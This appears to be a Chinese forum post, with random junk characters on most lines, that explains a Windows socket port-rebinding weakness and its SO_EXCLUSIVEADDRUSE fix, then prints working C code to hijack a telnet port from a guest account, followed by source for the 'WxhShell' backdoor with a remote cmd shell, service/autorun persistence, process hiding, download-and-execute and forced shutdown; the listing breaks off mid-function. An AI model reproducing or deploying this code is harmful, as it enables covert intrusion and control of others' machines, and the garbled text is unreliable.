在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ZLO_5#< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Xe%n.DW m 8HWY]:|oh saddr.sin_family = AF_INET;
Ds-%\@p k|BEAdQ%M saddr.sin_addr.s_addr = htonl(INADDR_ANY);
U2K>\/ -~ I=b#tUBh8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
*rqih_j0 )\s:.<?EQ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
9t)t-t#P; QGsUG_/_P 这意味着什么?意味着可以进行如下的攻击:
CwT52+Jb aoCyYnZD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
t=U[ ;? ?C4a,% 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
9aXm} .*y{[."! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
b^%4_[uRu EGV@L# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
zg^5cHP\ >w
V$az 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
>u6kT\|^C J|K~a?&vN 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
D@0eYX4s !Dun<\ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
j7i[z>:Y n[{o~VN #include
PAqziq. #include
B]kz3FF #include
dz7*a{ #include
]5}
=r DWORD WINAPI ClientThread(LPVOID lpParam);
.kBAUkL: int main()
8^HMK$ {
^^)Pv#[3 WORD wVersionRequested;
{E@@14]g DWORD ret;
b@,w/Uw[* WSADATA wsaData;
y_a~>S BOOL val;
id*UTY
Tg SOCKADDR_IN saddr;
S__ o#nf`% SOCKADDR_IN scaddr;
4}l,|7_&I int err;
2O4UytN SOCKET s;
esxU44 SOCKET sc;
&hZcjdB int caddsize;
<Q%o}m4Kt HANDLE mt;
lM?P8#3 DWORD tid;
Vg2s~ce{ wVersionRequested = MAKEWORD( 2, 2 );
?Bk"3{hl err = WSAStartup( wVersionRequested, &wsaData );
/TpM#hkq/2 if ( err != 0 ) {
gBrIqM i5 printf("error!WSAStartup failed!\n");
ZL-@2ZU{1 return -1;
;;UvK
v }
lMlXK4- saddr.sin_family = AF_INET;
w8>p[F5`O cDLS) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
JSO>rpO dmf~w_(7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
:egSW2"5S saddr.sin_port = htons(23);
,Kdvt@vle if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R`/nsou {
3"q%-M|+Q printf("error!socket failed!\n");
0WQ0-~wx return -1;
cT." }
-V<i4X<|,+ val = TRUE;
%*LdacjZ //SO_REUSEADDR选项就是可以实现端口重绑定的
l&E- H@Pe if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
b$VdTpz {
D<nTo&m_ printf("error!setsockopt failed!\n");
>j\zj] -" return -1;
ah~7T~ }
~Fisno //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Ei}B9 &O //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Dx iCq(; //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
t7n*kiN<q ^2Op?J if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
)D(XDN {
AEEy49e ret=GetLastError();
e}7qZ^ printf("error!bind failed!\n");
AD~\/V&+ return -1;
L(}T-.,Slr }
$(C71M|CT listen(s,2);
P3(u+UI3 while(1)
?EKYKLwr {
pNE!waR> caddsize = sizeof(scaddr);
'0w'||#1 //接受连接请求
$] w&`F- sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
6nxf<1 if(sc!=INVALID_SOCKET)
,TP^i 0 {
@{~x:P5g mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~D
5'O^ if(mt==NULL)
_RhCVoeB {
b)
.@ xS printf("Thread Creat Failed!\n");
)|\72Z~eq break;
AnI ENJ }
3\6jzD }
:0#!= CloseHandle(mt);
< R0c=BZ> }
pH)V:BmJ closesocket(s);
,7tN&R_ WSACleanup();
|1;0q<Ka return 0;
e,8C}
2 }
Le#bitp DWORD WINAPI ClientThread(LPVOID lpParam)
j2tw`*S+ {
:aco$ZNH5 SOCKET ss = (SOCKET)lpParam;
Qp%kX@Z' SOCKET sc;
Y#C=ku unsigned char buf[4096];
Z'!jZF~4p SOCKADDR_IN saddr;
4l[f}Z long num;
5jkW@ DWORD val;
9KD2C>d< DWORD ret;
7?B]X% //如果是隐藏端口应用的话,可以在此处加一些判断
b Kv9F@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
k1B7uA'h"G saddr.sin_family = AF_INET;
C{+~x@
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Mx[tE?!2 saddr.sin_port = htons(23);
AVHn7olG if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Kkdd }j {
8h-6;x^^ printf("error!socket failed!\n");
~h0SD( return -1;
u'LA%l- }
HL*jRl val = 100;
R6CxNPRJ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
JF!!)6!2# {
O:#t>
; ret = GetLastError();
hA)3Ah* return -1;
Xg#Dbf4 }
e6#^4Y/+` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Ewu 7tq Z {
d\xh>o ret = GetLastError();
Cv~ t~ return -1;
V=.lpj9m }
aCy2.Qn if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
=as ]>?< {
rVFAwbR printf("error!socket connect failed!\n");
N!r@M." closesocket(sc);
xlS
t closesocket(ss);
~ia#=|1} return -1;
I6h{S}2 }
o^7}H{AE while(1)
^vJ08gu_W {
0 UjT<t^F //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
&c?-z}=G //如果是嗅探内容的话,可以再此处进行内容分析和记录
\MX>= //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
y7$e7~}/ num = recv(ss,buf,4096,0);
3mpEF<z if(num>0)
Fg`r:,(a send(sc,buf,num,0);
NCl$vc;, else if(num==0)
19&!#z break;
*>zr'Tt,W num = recv(sc,buf,4096,0);
O. @_2 if(num>0)
S\s1}`pNm send(ss,buf,num,0);
]p@7[8} else if(num==0)
B1J+`R3OX break;
x^9W< }
;]+kC closesocket(ss);
BX2&tQSp closesocket(sc);
n"d~UV^Uw return 0 ;
NTls64AS. }
4|7L26,]5 N{
;{<C9Z rJKX4,M ==========================================================
DJT)7l { Fl^.J<Dz 下边附上一个代码,,WXhSHELL
XR]]g+Z +TA(crD ==========================================================
q1`uS^3` %\%1EZQ% #include "stdafx.h"
<iv9Mg} $l-j(=Md #include <stdio.h>
Oa
CkU #include <string.h>
J1yy6Wq3[ #include <windows.h>
U/wY;7{)# #include <winsock2.h>
Q(E$;@
#include <winsvc.h>
Su6ZO'[) #include <urlmon.h>
v #IC ke'p8Gz #pragma comment (lib, "Ws2_32.lib")
u;J9aKD #pragma comment (lib, "urlmon.lib")
R~[
u|EC} 9F ).i #define MAX_USER 100 // 最大客户端连接数
wW]|ElYR= #define BUF_SOCK 200 // sock buffer
uWv l<{2 #define KEY_BUFF 255 // 输入 buffer
nakhepLN uA*Op45 #define REBOOT 0 // 重启
h9&<-k #define SHUTDOWN 1 // 关机
0XvMaQXQF a(BWV?A #define DEF_PORT 5000 // 监听端口
M\>y&'J- W;Ox H"eC #define REG_LEN 16 // 注册表键长度
~)Ny8Dh #define SVC_LEN 80 // NT服务名长度
OCY7Bls4 2gb49y~ // 从dll定义API
ZLxe$.V_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
5H""_uw typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_OHz 6ag typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
IeZ}`$[H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
j#<#o:If _QkU,[E // wxhshell配置信息
rL&585 struct WSCFG {
DTAEfs!ZW int ws_port; // 监听端口
f+1)Ju~ char ws_passstr[REG_LEN]; // 口令
DM~Q+C=Yr int ws_autoins; // 安装标记, 1=yes 0=no
nNq| v=L char ws_regname[REG_LEN]; // 注册表键名
?)5}v4b char ws_svcname[REG_LEN]; // 服务名
Bn}@wO char ws_svcdisp[SVC_LEN]; // 服务显示名
q yQPR char ws_svcdesc[SVC_LEN]; // 服务描述信息
^V_vpr]}P char ws_passmsg[SVC_LEN]; // 密码输入提示信息
z2wR]G5! int ws_downexe; // 下载执行标记, 1=yes 0=no
Op\l char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/p?h@6h@y char ws_filenam[SVC_LEN]; // 下载后保存的文件名
R8O<}>3a ~$YFfv>
};
gXc&uR0S V92e#AR // default Wxhshell configuration
m 9.QGX\] struct WSCFG wscfg={DEF_PORT,
(E\7Ui0Q "xuhuanlingzhe",
+twJHf_U 1,
'?wv::t "Wxhshell",
2gg5:9 "Wxhshell",
F#O.i, "WxhShell Service",
^L*:0P~ "Wrsky Windows CmdShell Service",
kG@1jMPtQ "Please Input Your Password: ",
4}LGE> 1,
ATPc~f "
http://www.wrsky.com/wxhshell.exe",
X 4;+` "Wxhshell.exe"
{6a";Xj\e };
z^ KrR ?N&"WL^| // 消息定义模块
c3g\*)Jz"F char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
X;6&:%ZL@^ char *msg_ws_prompt="\n\r? for help\n\r#>";
4$1sBY/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
[[LCEw char *msg_ws_ext="\n\rExit.";
xH; 4lw char *msg_ws_end="\n\rQuit.";
){L`hQ*=w char *msg_ws_boot="\n\rReboot...";
v|CRiwx char *msg_ws_poff="\n\rShutdown...";
J:M^oA'N:> char *msg_ws_down="\n\rSave to ";
V)_mo/D!D *~:4&$ char *msg_ws_err="\n\rErr!";
f\2'/g}6a char *msg_ws_ok="\n\rOK!";
'~<D[](/F y[.0L!C { char ExeFile[MAX_PATH];
q J@XVN4 int nUser = 0;
0_,V} HANDLE handles[MAX_USER];
_ N.ZpKVu int OsIsNt;
hXmW,+1 ){icI< SERVICE_STATUS serviceStatus;
i[T!{< SERVICE_STATUS_HANDLE hServiceStatusHandle;
q71Tg ;,'eO i // 函数声明
N r
uXXd int Install(void);
<+
>y GPp int Uninstall(void);
j""u:l^+x int DownloadFile(char *sURL, SOCKET wsh);
zG+oZ int Boot(int flag);
Ag#p ) void HideProc(void);
W5HC7o\4 int GetOsVer(void);
<G}>Gk8x int Wxhshell(SOCKET wsl);
'!b1~+PV void TalkWithClient(void *cs);
Q<w rO int CmdShell(SOCKET sock);
=uMoX
- int StartFromService(void);
;~tKNytD`B int StartWxhshell(LPSTR lpCmdLine);
dHg[0Br)r f* p=]]y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
o%RyE]pw, VOID WINAPI NTServiceHandler( DWORD fdwControl );
7K%Ac {[NBTT9& // 数据结构和表定义
pR; AqDQ SERVICE_TABLE_ENTRY DispatchTable[] =
dl;^sn0s {
)Uo)3FAn {wscfg.ws_svcname, NTServiceMain},
wRi!eN? {NULL, NULL}
s{'r'`z. };
sMs 0*B-[ bt-y6,> +E // 自我安装
~eA7:dZLb int Install(void)
g.iiT/b {
.ie \3q) char svExeFile[MAX_PATH];
?2aglj*"v, HKEY key;
PZ
AyHXY strcpy(svExeFile,ExeFile);
C8e{9CF gG&2fV}l6 // 如果是win9x系统,修改注册表设为自启动
TO-[6Pq# if(!OsIsNt) {
~%bz2Pd% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
gY=nU,; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3.xsCcmP RegCloseKey(key);
qVx4 t"%L> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
XSpX6fq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
d+\o>x|Y!Y RegCloseKey(key);
K*d+pImrV return 0;
Vyf r>pgW1 }
Pz:,q~ }
LW{7|g }
"6FZX~]s! else {
Kn?>XXAc oDrfzm|[Y // 如果是NT以上系统,安装为系统服务
S)>L 0^M1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
;mjk`6p if (schSCManager!=0)
j[F\f> {
LeF Z%y)F SC_HANDLE schService = CreateService
+j%!RS$ko (
+A>>Ak|s schSCManager,
e)zE*9 wscfg.ws_svcname,
?<%GYdus wscfg.ws_svcdisp,
B#OnooJI SERVICE_ALL_ACCESS,
3ktjMVy\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
&&nvv &a SERVICE_AUTO_START,
`gDpb.=Y SERVICE_ERROR_NORMAL,
J4;w9[a$ svExeFile,
g~rZ= NULL,
:54ik,l NULL,
9l]+rs+ NULL,
HcavA{H NULL,
}i ^]uW*h NULL
tMR&>hM );
&'TZU"_ if (schService!=0)
sC(IeGbX {
$^?Mip CloseServiceHandle(schService);
.hzzoLI2 CloseServiceHandle(schSCManager);
zn@<>o8hU strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
X3-pj<JLY strcat(svExeFile,wscfg.ws_svcname);
zogw1g&C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
hs!a'E RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
@!"w.@Y RegCloseKey(key);
{P&{+`sov return 0;
iqreIMWz }
TwH%P2)x }
=8?y$WE CloseServiceHandle(schSCManager);
?\"GT] 5D }
V|gW%Z,j }
>B!E 6ah @n"7L2wY return 1;
m9 o{y6_j* }
%JF^@\E!| p.A_,iE // 自我卸载
`*g(_EZsS int Uninstall(void)
,&e0~ {
'y[74?1 HKEY key;
WXV (R,*Tc %IL]
Wz< if(!OsIsNt) {
aMe]6cWHV> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
z$4g9 RegDeleteValue(key,wscfg.ws_regname);
,R#pQ
4 RegCloseKey(key);
qIS9.AL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
K|,P RegDeleteValue(key,wscfg.ws_regname);
$P&{DOiKS RegCloseKey(key);
[%
\>FT[ return 0;
(0dy,GRN }
H=RzY-\a% }
LeRyS] }
3`.*~qW else {
Z}#'.y\ f zisf8x7^W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
KSDz3qe if (schSCManager!=0)
b+Sq[ {
`?E|frz[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
`?f6~$1 if (schService!=0)
+O"!* {
)O\w'|$G if(DeleteService(schService)!=0) {
10R#}~D CloseServiceHandle(schService);
w"ZngrwBl CloseServiceHandle(schSCManager);
ndg1E;> return 0;
S52'!WTq }
VzD LG LH CloseServiceHandle(schService);
J_NY:B }
H1>~,zc>E CloseServiceHandle(schSCManager);
{*mf Is }
7+
+Fak }
-Pt. #NQpr return 1;
]8@s+N }
qW+'#Jh@TV %hDx UZ#0 // 从指定url下载文件
nilis-Bk_ int DownloadFile(char *sURL, SOCKET wsh)
I]Ev6>=; {
]Q0m]OaT HRESULT hr;
sjGy=d{:oL char seps[]= "/";
vz6No%8X char *token;
4fauI%kc char *file;
}uP`=T!"8 char myURL[MAX_PATH];
$ix:S$ char myFILE[MAX_PATH];
YYNh|
2 gxnIur) strcpy(myURL,sURL);
}aO6% token=strtok(myURL,seps);
|"}oGL6- while(token!=NULL)
Ey|{yUmU+ {
&3gC&b^i file=token;
CWT#1L= token=strtok(NULL,seps);
`]~1pc }
%#t*3[ 9*~bAgkWI GetCurrentDirectory(MAX_PATH,myFILE);
zUuOX5-6x strcat(myFILE, "\\");
t57MKDn strcat(myFILE, file);
s>J\h send(wsh,myFILE,strlen(myFILE),0);
6-E>-9]'E send(wsh,"...",3,0);
VAW:h5j2@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
TOT#l6yqdd if(hr==S_OK)
M(
w'TE@ return 0;
O06 2c)vIY else
4y*"w*L return 1;
Nk63F&J7e *^y,Gg/ }
`D/<*e,# W&~\@j]!D // 系统电源模块
=[JstiT?E int Boot(int flag)
l XpbAW {
uB=DC'lkg HANDLE hToken;
b~$8<\ TOKEN_PRIVILEGES tkp;
|j}D2q= b :WA}x V if(OsIsNt) {
k3(q!~a:.} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
QmgO00{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
h"0)g:\ tkp.PrivilegeCount = 1;
.;\uh$c tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
B4@1WZn<8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
e&@;hDmIX if(flag==REBOOT) {
X9
N4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3</W}]$)p return 0;
M^ZEAZi }
+D+v j|fn else {
*82+GY] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
>:Y"DX- return 0;
zMke}2 }
FEH+ PKSc }
|)VNf.aJZ else {
*iX PG9XZ if(flag==REBOOT) {
A)#w~ X4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
o 9rZ&Q< return 0;
n'To: }
"D,}| else {
DD5cUlOSu if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
r2%Qk return 0;
+~K)
~ }
)O],$\u }
' !2NSv \@[Y~: return 1;
/IQ$[WR cx }
|&"/u7^ `h%K8];<6f // win9x进程隐藏模块
P b-4$n2c void HideProc(void)
4wKQs&: {
enGZb& ~9y/MR HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
M
~;]d if ( hKernel != NULL )
|(<A)C {
vA"LV+@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
."Kp6s `k ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
gy1R.SN FreeLibrary(hKernel);
9Y:Iha`$w }
L\hid/NL W(}2R>$ return;
w~C\5 i }
-x{@D{Q% ,. zHG // 获取操作系统版本
.sjv"D" int GetOsVer(void)
@;G%7&ps {
-lqD OSVERSIONINFO winfo;
oI5^.Dr FW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
j[,XJ,5= GetVersionEx(&winfo);
5g%D0_e5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
y@@h )P# return 1;
;m=k
FZ? else
e45)t}' return 0;
"8p<NsU }
shD4";8*@ :q >)c] // 客户端句柄模块
Quwq_.DU int Wxhshell(SOCKET wsl)
J`4V\D}n {
?bH` SOCKET wsh;
bE,#, struct sockaddr_in client;
:N!s@6 DWORD myID;
.,sbqL q[Tl#*P?y while(nUser<MAX_USER)
cQ;@z2\ {
#qu;{I#W3 int nSize=sizeof(client);
]SAGh|+xl wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Q4Nut if(wsh==INVALID_SOCKET) return 1;
wh#IQ.E- I<Cm$8O? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
9n49p? if(handles[nUser]==0)
GkxQEL closesocket(wsh);
"Lyb4# M else
PWeWz(]0Z4 nUser++;
j u&v4] }
<*I*#WI&B WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
A{dqB s{OV-H return 0;
`z`=!1 }
`,O"^zR)z %ikPz~( // 关闭 socket
~|[i64V<^ void CloseIt(SOCKET wsh)
![!,i\x {
nq,:UYNJ closesocket(wsh);
R, #szTu nUser--;
8`s*+.LI! ExitThread(0);
P v=]7>e }
f9OY>|a9 Y[|9
+T // 客户端请求句柄
ahdwoB void TalkWithClient(void *cs)
2%v6h {
p' 6h9/ O6vHo3k SOCKET wsh=(SOCKET)cs;
DJ0jtv6nQ- char pwd[SVC_LEN];
)gz]F_ char cmd[KEY_BUFF];
_R^ZXtypd char chr[1];
$VjMd f int i,j;
1Q=L/keP r:PYAb=g while (nUser < MAX_USER) {
&1Y7Ne <I*N=;7 if(wscfg.ws_passstr) {
~1XC5.*-
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
nI4oQE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
z0x^HDAeC //ZeroMemory(pwd,KEY_BUFF);
Lxn-M5RPQ i=0;
(/^?$~m" while(i<SVC_LEN) {
S'`G7ht BUdO:fr // 设置超时
}
@
[!%hE fd_set FdRead;
AQtOTT$ struct timeval TimeOut;
2kOaKH[(q FD_ZERO(&FdRead);
k{'<J(Hb FD_SET(wsh,&FdRead);
OJ7Uh_;/ TimeOut.tv_sec=8;
L8Q/!+K TimeOut.tv_usec=0;
o6RT 4` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
x[fp7*TiG if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
8QMMKOui\ <Qr*!-Kc6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
elR1NhB|p pwd
=chr[0]; -]-0]*oAp
if(chr[0]==0xd || chr[0]==0xa) { &> _aY #
pwd=0; j+>[~c;0)
break; -tx%#(?wH
} c(29JZ
i++; Zx`/88!x[
} ~.6% %1?
c}!`tBTm
// 如果是非法用户,关闭 socket g6xQQ,q=l
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4=%,0.yt
} O2"@09:
xXnSo0`LF
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lYS "
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @Z7s3b
nET<u;
while(1) { Bio QV47B
3g:P>(
ZeroMemory(cmd,KEY_BUFF); ]k BC,m(
t0Lt+E|J
// 自动支持客户端 telnet标准 J7`;l6+Gb
j=0; 4uh~@ Lv
while(j<KEY_BUFF) { <IBUl}|\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *y(UI/c
cmd[j]=chr[0]; dQFUQ
if(chr[0]==0xa || chr[0]==0xd) { Pf;RJeD
cmd[j]=0; i-#D c(9
break; foBF]7Bz?
} ?=1i:h
j++; 6mIeV0Q'
} Q/J <$W*,
mwn$ey&QE
// 下载文件 &4%78K\
if(strstr(cmd,"http://")) { Z2-tDp(I
send(wsh,msg_ws_down,strlen(msg_ws_down),0); +6~zMKp
if(DownloadFile(cmd,wsh)) }A[5\V^D*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K{9Vyt9,$
else >L8 &6aU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IGo5b-ds
} C!nbl+75
else { knzo 6
tkff\W[JU
switch(cmd[0]) { &h.?~Ri
%tPy]{S..
// 帮助 aI|X~b
case '?': { KU Mk:5
c
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M$Rh]3vqR
break; L^PBcfg
} eYn/F~5-
// 安装 >I0 a$w
case 'i': { Jh36NE8r
if(Install()) GuaF B[4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w_;$ahsu~
else &os:h]
C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5|`./+Ghk
break; pV!WZUfg
} 2|(lKFkQ
// 卸载 K@oyvJ$
case 'r': { }7K~-
if(Uninstall()) ^rO!-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }[PC
YnS
else qP zxP @4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jK%Lewq
break; $"}[\>e*{
} _ /Eg_dQ~@
// 显示 wxhshell 所在路径 kY9$ M8b
case 'p': { >5TXLOYZ
char svExeFile[MAX_PATH]; )4hA Fy6l
strcpy(svExeFile,"\n\r"); .81 ~ K[
strcat(svExeFile,ExeFile); ~]9EhC'l
send(wsh,svExeFile,strlen(svExeFile),0); cXr_,>k
break; TTWiwPo59
} |+JC'b?,
// 重启 ccx0aC3@I
case 'b': { }AiF 7N0
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'geN
dx
if(Boot(REBOOT)) -a"b:Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ??LE0i
else { X`-o0HG
closesocket(wsh); L)S
V?FBx
ExitThread(0); -6X+:r`>u
} - (q7"h
break; et(AO)uv6
} " ub0}p4V
// 关机 r^ '
case 'd': { (\wV)c9
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [M:<!QXw
if(Boot(SHUTDOWN)) ytV[x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bt1v7M
else { 79k+R9m
closesocket(wsh); ,w=u?
ExitThread(0); 6\VZ6oS
} eOfVBF<C2
break; J$T(p%
} G,1g~h%I$
// 获取shell F7]8*[u
case 's': { Cy)QS{YX
CmdShell(wsh); wSdiF-ue
closesocket(wsh); O*n@!ye
ExitThread(0); 7<K=G2_:
break; 9%0^fhrJ
} KFaYn
// 退出 |@f\[v9`
case 'x': { xJFcW+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1CJAFi>%D
CloseIt(wsh); mgodvX
break; x cZF_elt7
} SP>&+5AydX
// 离开 N-Bw&hEZ
case 'q': { K!2%8Ej,J
send(wsh,msg_ws_end,strlen(msg_ws_end),0); w6-<HPW<S
closesocket(wsh); |0X~D}r|J
WSACleanup(); !\OX}kHX5
exit(1); *_HF %JYMZ
break; # $'H?lO
} M!%|IKw
} -3m!970
} t8.3
|eJR3o
// 提示信息 ,Vof<,x0
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '!`]Zc
} ()n2 KT
} }gE^HH'
<7gv<N6BQf
return; "x0KiIoPk
} ?N@[R];
zH#urF6<
// shell模块句柄 9ESV[
int CmdShell(SOCKET sock) .&8a ;Q?c
{ $ERiBALN:
STARTUPINFO si; :oiHf:
ZeroMemory(&si,sizeof(si)); %&s4YD/{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {K:]dO
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e5'U[bQm
PROCESS_INFORMATION ProcessInfo; (rq(y$N
char cmdline[]="cmd"; qG]0z_dPE~
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]*Kv[%r07c
return 0; O.8k [Ht
} 1?Tj
8]bLp
// 自身启动模式 wLvM<p7OX
int StartFromService(void) IABF_GwF
{ CT'#~~QB
typedef struct XPnHi@x
{ lB8gD
DWORD ExitStatus; NK:! U
DWORD PebBaseAddress; eax"AmO
DWORD AffinityMask; Yn0iu$;n
DWORD BasePriority; :-(qqC:
